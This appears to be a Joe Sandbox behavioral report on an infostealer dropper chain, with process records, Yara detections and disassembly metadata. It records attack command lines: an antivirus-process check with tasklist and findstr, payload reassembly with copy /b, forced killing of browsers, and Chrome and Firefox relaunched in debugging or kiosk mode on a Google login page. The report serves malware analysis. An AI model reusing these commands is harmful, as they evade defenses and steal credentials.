Start date:	21/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	17
Start time:	14:16:22
Start date:	21/12/2024
Path:	C:\Windows\SysWOW64\tasklist.exe
Wow64 process (32bit):	true
Commandline:	tasklist
Imagebase:	0x9f0000
File size:	79'360 bytes
MD5 hash:	0A4448B31CE7F83CB7691A2657F330F1
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	18
Start time:	14:16:22
Start date:	21/12/2024
Path:	C:\Windows\SysWOW64\findstr.exe
Wow64 process (32bit):	true
Commandline:	findstr /I "opssvc wrsa"
Imagebase:	0xf00000
File size:	29'696 bytes
MD5 hash:	F1D4BE0E99EC734376FDE474A8D4EA3E
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	19
Start time:	14:16:23
Start date:	21/12/2024
Path:	C:\Windows\SysWOW64\tasklist.exe
Wow64 process (32bit):	true
Commandline:	tasklist
Imagebase:	0x9f0000
File size:	79'360 bytes
MD5 hash:	0A4448B31CE7F83CB7691A2657F330F1
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	20
Start time:	14:16:23
Start date:	21/12/2024
Path:	C:\Windows\SysWOW64\findstr.exe
Wow64 process (32bit):	true
Commandline:	findstr "AvastUI AVGUI bdservicehost nsWscSvc ekrn SophosHealth"
Imagebase:	0xf00000
File size:	29'696 bytes
MD5 hash:	F1D4BE0E99EC734376FDE474A8D4EA3E
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	21
Start time:	14:16:23
Start date:	21/12/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	cmd /c md 370821
Imagebase:	0x790000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	22
Start time:	14:16:23
Start date:	21/12/2024
Path:	C:\Windows\SysWOW64\findstr.exe
Wow64 process (32bit):	true
Commandline:	findstr /V "Anchor" Veterinary
Imagebase:	0xf00000
File size:	29'696 bytes
MD5 hash:	F1D4BE0E99EC734376FDE474A8D4EA3E
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	23
Start time:	14:16:23
Start date:	21/12/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	cmd /c copy /b ..\Genre + ..\Mj + ..\Discs + ..\Receiving + ..\Mysterious + ..\Aka w
Imagebase:	0x790000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	24
Start time:	14:16:23
Start date:	21/12/2024
Path:	C:\Users\user\AppData\Local\Temp\370821\Sale.com
Wow64 process (32bit):	true
Commandline:	Sale.com w
Imagebase:	0x780000
File size:	947'288 bytes
MD5 hash:	62D09F076E6E0240548C2F837536A46A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 0%, ReversingLabs
Has exited:	true

Show Windows behavior

Target ID:	25
Start time:	14:16:24
Start date:	21/12/2024
Path:	C:\Windows\SysWOW64\choice.exe
Wow64 process (32bit):	true
Commandline:	choice /d y /t 5
Imagebase:	0x3c0000
File size:	28'160 bytes
MD5 hash:	FCE0E41C87DC4ABBE976998AD26C27E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	26
Start time:	14:16:27
Start date:	21/12/2024
Path:	C:\Users\user\AppData\Local\Temp\1019563001\hYW0tgm.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1019563001\hYW0tgm.exe"
Imagebase:	0x690000
File size:	302'080 bytes
MD5 hash:	B251CF9E14AA07B1A2E506AD4EE0028C
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	27
Start time:	14:16:36
Start date:	21/12/2024
Path:	C:\Users\user\AppData\Local\Temp\1019594001\17ce3a84e4.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1019594001\17ce3a84e4.exe"
Imagebase:	0x380000
File size:	2'668'544 bytes
MD5 hash:	87330F1877C33A5A6203C49075223B16
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 18%, ReversingLabs
Has exited:	false

Show Windows behavior

Target ID:	28
Start time:	14:16:44
Start date:	21/12/2024
Path:	C:\Users\user\AppData\Local\Temp\1019595001\412ec13ac5.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1019595001\412ec13ac5.exe"
Imagebase:	0xe00000
File size:	776'832 bytes
MD5 hash:	AFD936E441BF5CBDB858E96833CC6ED3
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 68%, ReversingLabs
Has exited:	true

Show Windows behavior

Target ID:	29
Start time:	14:16:44
Start date:	21/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	30
Start time:	14:16:49
Start date:	21/12/2024
Path:	C:\Users\user\AppData\Local\Temp\1019595001\412ec13ac5.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1019595001\412ec13ac5.exe"
Imagebase:	0xe00000
File size:	776'832 bytes
MD5 hash:	AFD936E441BF5CBDB858E96833CC6ED3
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000001E.00000003.3598848162.0000000001138000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000001E.00000003.3466744227.0000000001176000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000001E.00000003.3479771297.0000000001138000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000001E.00000003.3468708215.0000000001123000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000001E.00000003.3593252563.000000000111D000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Has exited:	true

Show Windows behavior

Target ID:	31
Start time:	14:16:52
Start date:	21/12/2024
Path:	C:\Users\user\AppData\Local\Temp\1019596001\580c9354ec.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1019596001\580c9354ec.exe"
Imagebase:	0x440000
File size:	1'845'760 bytes
MD5 hash:	26F1B241A64F088FA3113C4587F12D50
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000001F.00000003.3614760975.00000000011AA000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000001F.00000003.3572256199.00000000011AA000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000001F.00000003.3803442222.00000000011AA000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Has exited:	false

Show Windows behavior

Target ID:	32
Start time:	14:17:02
Start date:	21/12/2024
Path:	C:\Users\user\AppData\Local\Temp\1019597001\9f6ea82062.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1019597001\9f6ea82062.exe"
Imagebase:	0xa50000
File size:	2'914'304 bytes
MD5 hash:	C4B3E529888B95D857AB1B2E80B1521E
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000020.00000003.3308819951.0000000004BB0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000020.00000002.3942624190.0000000000A51000.00000040.00000001.01000000.00000012.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000020.00000002.3929798314.000000000094E000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000020.00000002.3929798314.000000000094E000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Has exited:	true

Show Windows behavior

Target ID:	33
Start time:	14:17:11
Start date:	21/12/2024
Path:	C:\Users\user\AppData\Local\Temp\1019598001\51ecf08926.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1019598001\51ecf08926.exe"
Imagebase:	0x3e0000
File size:	970'240 bytes
MD5 hash:	3D0A0F60AC258C89AFDFD9F471DBF8F7
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	34
Start time:	14:17:16
Start date:	21/12/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /F /IM firefox.exe /T
Imagebase:	0x850000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	35
Start time:	14:17:16
Start date:	21/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	36
Start time:	14:17:16
Start date:	21/12/2024
Path:	C:\Users\user\AppData\Local\Temp\1019597001\9f6ea82062.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1019597001\9f6ea82062.exe"
Imagebase:	0xa50000
File size:	2'914'304 bytes
MD5 hash:	C4B3E529888B95D857AB1B2E80B1521E
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000024.00000002.4203714163.0000000000A51000.00000040.00000001.01000000.00000012.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000024.00000003.3428194939.00000000052B0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000024.00000002.4260064567.00000000015FB000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Has exited:	false

Show Windows behavior

Target ID:	37
Start time:	14:17:18
Start date:	21/12/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory=""
Imagebase:	0x7ff715980000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	39
Start time:	14:17:19
Start date:	21/12/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2100 --field-trial-handle=1916,i,5817995298996924960,10670888794113214286,262144 /prefetch:8
Imagebase:	0x7ff715980000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	40
Start time:	14:17:19
Start date:	21/12/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /F /IM chrome.exe /T
Imagebase:	0x850000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	41
Start time:	14:17:19
Start date:	21/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	42
Start time:	14:17:21
Start date:	21/12/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /F /IM msedge.exe /T
Imagebase:	0x850000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	43
Start time:	14:17:21
Start date:	21/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	44
Start time:	14:17:21
Start date:	21/12/2024
Path:	C:\Users\user\AppData\Local\Temp\1019599001\5936bfa4af.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1019599001\5936bfa4af.exe"
Imagebase:	0x190000
File size:	2'788'864 bytes
MD5 hash:	F2F8D2D15D376C6CD78647595E4328CA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	45
Start time:	14:17:22
Start date:	21/12/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /F /IM opera.exe /T
Imagebase:	0x850000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	46
Start time:	14:17:22
Start date:	21/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	47
Start time:	14:17:24
Start date:	21/12/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /F /IM brave.exe /T
Imagebase:	0x850000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	48
Start time:	14:17:24
Start date:	21/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	49
Start time:	14:17:25
Start date:	21/12/2024
Path:	C:\Program Files\Mozilla Firefox\firefox.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk "https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd" --no-default-browser-check --disable-popup-blocking
Imagebase:	0x7ff79f9e0000
File size:	676'768 bytes
MD5 hash:	C86B1BE9ED6496FE0E0CBE73F81D8045
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	50
Start time:	14:17:25
Start date:	21/12/2024
Path:	C:\Users\user\AppData\Local\Temp\1019598001\51ecf08926.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1019598001\51ecf08926.exe"
Imagebase:	0x3e0000
File size:	970'240 bytes
MD5 hash:	3D0A0F60AC258C89AFDFD9F471DBF8F7
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	51
Start time:	14:17:25
Start date:	21/12/2024
Path:	C:\Program Files\Mozilla Firefox\firefox.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking --attempting-deelevation
Imagebase:	0x7ff79f9e0000
File size:	676'768 bytes
MD5 hash:	C86B1BE9ED6496FE0E0CBE73F81D8045
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	52
Start time:	14:17:25
Start date:	21/12/2024
Path:	C:\Program Files\Mozilla Firefox\firefox.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking
Imagebase:	0x7ff79f9e0000
File size:	676'768 bytes
MD5 hash:	C86B1BE9ED6496FE0E0CBE73F81D8045
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Execution Graph

Execution Coverage:	4.5%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	3.7%
Total number of Nodes:	762
Total number of Limit Nodes:	13

Executed Functions

Function 00EE652B Relevance: 1.5, APIs: 1, Instructions: 24COMMONLIBRARYCODE

Download Yara Rule

APIs

ExitProcess.KERNEL32(?,?,00EE652A,?,?,?,?,?,00EE7661), ref: 00EE6566

Memory Dump Source

Source File: 00000000.00000002.2108752240.0000000000EB1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00EB0000, based on PE: true

Associated: 00000000.00000002.2108737379.0000000000EB0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2108752240.0000000000F12000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2108810287.0000000000F19000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2108825547.0000000000F1B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2108841813.0000000000F27000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2108975368.0000000001082000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2108992673.0000000001085000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2109012828.000000000109B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2109012828.00000000010A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2109043429.00000000010AC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2109056909.00000000010AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2109070669.00000000010AE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2109085283.00000000010AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2109101813.00000000010B0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2109121929.00000000010B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2109138113.00000000010BB000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2109152636.00000000010BC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2109166889.00000000010BF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2109182260.00000000010C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2109204520.00000000010E5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2109224692.00000000010F6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2109243542.000000000110C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2109263138.0000000001112000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2109286174.0000000001113000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2109314718.0000000001117000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2109336373.000000000111E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2109359495.0000000001124000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2109376438.0000000001132000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2109391214.0000000001134000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2109404905.0000000001135000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2109420568.0000000001138000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2109435863.0000000001140000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2109455839.0000000001141000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2109566616.0000000001148000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2109585636.000000000114A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2109600415.000000000114B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2109616859.0000000001153000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2109636838.0000000001164000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2109652621.0000000001167000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2109668086.0000000001168000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2109683100.0000000001169000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2109698240.000000000116A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2109713474.000000000116C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2109713474.0000000001193000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2109757237.00000000011AE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2109771956.00000000011AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2109787774.00000000011C3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2109803892.00000000011C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2109818359.00000000011C5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2109833315.00000000011CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2109847962.00000000011CC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2109865943.00000000011DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2109881201.00000000011DB000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_eb0000_file.jbxd

Yara matches

Similarity

API ID: ExitProcess
String ID:
API String ID: 621844428-0
Opcode ID: df358c2a853b28df66ae5c45e281f8561f15c2069ab7902c6fc6edcdff79c6a1
Instruction ID: 7947a622d9e10ce418b234658f9d5f1e6765c6aee6e0f358196f4540cc88e147
Opcode Fuzzy Hash: df358c2a853b28df66ae5c45e281f8561f15c2069ab7902c6fc6edcdff79c6a1
Instruction Fuzzy Hash: BBE0863025258C6ACE25BB55DC1994C3B59EF21789F002C24FC1456125CB35ED45CA80

Function 052B0CC2 Relevance: .1, Instructions: 88COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2112004385.00000000052B0000.00000040.00001000.00020000.00000000.sdmp, Offset: 052B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_52b0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f0272760d77c5d454df714dcc5c53a33aae42ccdadc9d0d9f30279b28620efa8
Instruction ID: c133ccf72a2df178030ae94ca48b3274b660f3a7a8abc597c215b748caab5689
Opcode Fuzzy Hash: f0272760d77c5d454df714dcc5c53a33aae42ccdadc9d0d9f30279b28620efa8
Instruction Fuzzy Hash: 50117CAE17C117BE7513D5416F0CAFB3A6FEAC57F03708419F80BDA481E2E4AA490560

Function 00EB5C10 Relevance: 12.7, APIs: 2, Strings: 5, Instructions: 434
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

00000423, xrefs: 00EB60FA
00000422, xrefs: 00EB60C9
0000043f, xrefs: 00EB612B
Keyboard Layout\Preload, xrefs: 00EB6054
00000419, xrefs: 00EB6098

Memory Dump Source

Source File: 00000000.00000002.2108752240.0000000000EB1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00EB0000, based on PE: true

Associated: 00000000.00000002.2108737379.0000000000EB0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2108752240.0000000000F12000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2108810287.0000000000F19000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2108825547.0000000000F1B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2108841813.0000000000F27000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2108975368.0000000001082000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2108992673.0000000001085000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2109012828.000000000109B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2109012828.00000000010A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2109043429.00000000010AC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2109056909.00000000010AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2109070669.00000000010AE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2109085283.00000000010AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2109101813.00000000010B0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2109121929.00000000010B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2109138113.00000000010BB000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2109152636.00000000010BC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2109166889.00000000010BF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2109182260.00000000010C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2109204520.00000000010E5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2109224692.00000000010F6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2109243542.000000000110C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2109263138.0000000001112000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2109286174.0000000001113000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2109314718.0000000001117000.00000040.00000001.01000000.00000003.sdmpDownload File
